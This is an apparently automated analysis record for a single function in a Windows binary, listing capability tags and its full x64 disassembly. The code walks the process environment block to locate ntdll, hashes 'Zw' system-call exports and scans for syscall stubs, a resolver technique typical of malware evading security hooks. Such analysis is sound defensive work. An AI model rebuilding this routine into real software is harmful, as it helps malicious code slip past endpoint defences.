Function at 0x180003860
Capabilities:
Access peb ldr_data
Encode data using xor
Encrypt data using rc4 prga
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
push rbx
push rdi
sub rsp, 0x38
cmp dword [0x18009fc40], 0
jne 0x180003bba
mov rdi, qword gs:[0x60]
xor ebx, ebx
mov rax, qword [rdi + 0x18]
mov r10, qword [rax + 0x10]
mov rcx, qword [r10 + 0x30]
test rcx, rcx
je 0x180003bce
mov r11, qword [0x18009fc10]
nop dword [rax + rax]
movsxd rdx, dword [rcx + 0x3c]
mov eax, dword [rdx + rcx + 0x88]
test eax, eax
je 0x18000390d
lea r9, [rcx + rax]
mov eax, dword [rcx + rax + 0xc]
mov r8d, dword [rax + rcx]
or r8d, 0x20202020
cmp r8d, 0x6e72656b
jne 0x1800038ee
mov eax, dword [rax + rcx + 4]
or eax, 0x20202020
cmp eax, 0x61626c65
jne 0x18000390d
mov eax, dword [rdx + rcx + 0x50]
mov dword [0x18009fc38], eax
mov qword [0x1800a1b88], rcx
jmp 0x18000390d
cmp r8d, 0x6c64746e
jne 0x18000390d
mov eax, dword [rax + rcx + 4]
or eax, 0x20202020
cmp eax, 0x6c642e6c
jne 0x18000390d
mov r11, rcx
mov rbx, r9
mov r10, qword [r10]
mov rcx, qword [r10 + 0x30]
test rcx, rcx
jne 0x1800038a0
mov qword [0x18009fc10], r11
test rbx, rbx
je 0x180003bce
movzx eax, word [rdi + 0x120]
lea edx, [rcx + 1]
mov qword [rsp + 0x58], rbp
lea r8d, [rcx + 0x10]
mov qword [rsp + 0x60], rsi
mov rcx, r11
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r15
mov word [0x18009fc00], ax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
cmp qword [0x18009fbe0], 0
jne 0x18000398c
mov rcx, qword [0x1800a1b88]
lea rdx, str.BaseGetConsoleReference
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x18009fbe0], rax
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov rax, qword gs:[0x30]
mov rdx, qword [rcx + 0x98]
mov rcx, qword [rax + 0x60]
mov rax, qword gs:[0x30]
mov r8, qword [rdx + 8]
sub r8, qword [rcx + 0x380]
mov rcx, qword [rax + 0x60]
add r8, qword [rcx + 0x88]
mov qword [0x18009fbf8], r8
call fcn.180003340
mov rdi, qword [0x18009fc10]
lea r12, [0x18009fc40]
mov r14d, dword [rbx + 0x1c]
mov r13d, 0x775a
mov esi, dword [rbx + 0x20]
add r14, rdi
mov ebp, dword [rbx + 0x24]
add rsi, rdi
mov r11d, dword [rbx + 0x18]
add rbp, rdi
movzx r15d, word [0x18009fc00]
xor ebx, ebx
nop dword [rax]
lea eax, [r11 - 1]
mov r9d, dword [rsi + rax*4]
mov r11d, eax
add r9, rdi
mov r10d, eax
cmp word [r9], r13w
jne 0x180003b02
xor r8d, r8d
mov edx, 0x61ea92a9
mov rax, r9
nop word [rax + rax]
movzx eax, word [rax]
mov ecx, edx
ror ecx, 8
inc r8d
add ecx, eax
mov eax, r8d
add rax, r9
xor edx, ecx
cmp byte [rax], 0
jne 0x180003a40
mov r8d, 0x2958
mov r9d, ebx
add r9, r9
mov word [rsp + 0x50], 0x50f
mov dword [r12 + r9*8 + 8], edx
movzx eax, word [rbp + r10*2]
mov r10b, 0xc3
mov ecx, dword [r14 + rax*4]
lea eax, [r15 - 1]
cmp ax, r8w
mov dword [r12 + r9*8 + 0xc], ecx
movzx r8d, word [rsp + 0x50]
mov eax, 8
lea rdx, [rdi + rcx]
mov ecx, 0x12
cmovbe ecx, eax
cmp r8w, word [rcx + rdx]
lea rax, [rcx + rdx]
jne 0x180003ab4
cmp r10b, byte [rax + 2]
je 0x180003af3
lea rcx, [rax + 0x20]
mov edx, 1
add rax, 0xffffffffffffffe0
cmp r8w, word [rcx]
jne 0x180003ad1
cmp r10b, byte [rcx + 2]
je 0x180003bc6
cmp r8w, word [rax]
jne 0x180003add
cmp r10b, byte [rax + 2]
je 0x180003af3
inc rdx
add rcx, 0x20
sub rax, 0x20
cmp rdx, 0x200
jb 0x180003ac1
xor eax, eax
inc ebx
mov qword [r12 + r9*8 + 0x10], rax
cmp ebx, 0x1f4
je 0x180003b0b
test r11d, r11d
jne 0x180003a10
mov r15, qword [rsp + 0x20]
lea eax, [rbx - 1]
mov r14, qword [rsp + 0x28]
xor r11d, r11d
mov r13, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x58]
mov dword [0x18009fc40], ebx
test eax, eax
je 0x180003bb0
mov ecx, ebx
xor eax, eax
sub ecx, r11d
cmp ecx, 1
je 0x180003ba5
nop
lea r10d, [rax + 1]
mov r9d, eax
add r9, r9
mov r8d, r10d
add r8, r8
mov esi, dword [r12 + r9*8 + 0xc]
mov edi, dword [r12 + r8*8 + 0xc]
cmp esi, edi
jbe 0x180003b96
mov eax, dword [r12 + r8*8 + 8]
mov edx, dword [r12 + r9*8 + 8]
mov rcx, qword [r12 + r9*8 + 0x10]
mov dword [r12 + r9*8 + 8], eax
mov rax, qword [r12 + r8*8 + 0x10]
mov qword [r12 + r9*8 + 0x10], rax
mov dword [r12 + r9*8 + 0xc], edi
mov dword [r12 + r8*8 + 8], edx
mov dword [r12 + r8*8 + 0xc], esi
mov qword [r12 + r8*8 + 0x10], rcx
mov ebx, dword [0x18009fc40]
mov ecx, ebx
mov eax, r10d
sub ecx, r11d
dec ecx
cmp r10d, ecx
jb 0x180003b40
inc r11d
lea eax, [rbx - 1]
cmp r11d, eax
jb 0x180003b33
mov rsi, qword [rsp + 0x60]
mov r12, qword [rsp + 0x68]
mov eax, 1
add rsp, 0x38
pop rdi
pop rbx
ret
mov rax, rcx
jmp 0x180003af3
xor eax, eax
add rsp, 0x38
pop rdi
pop rbx
ret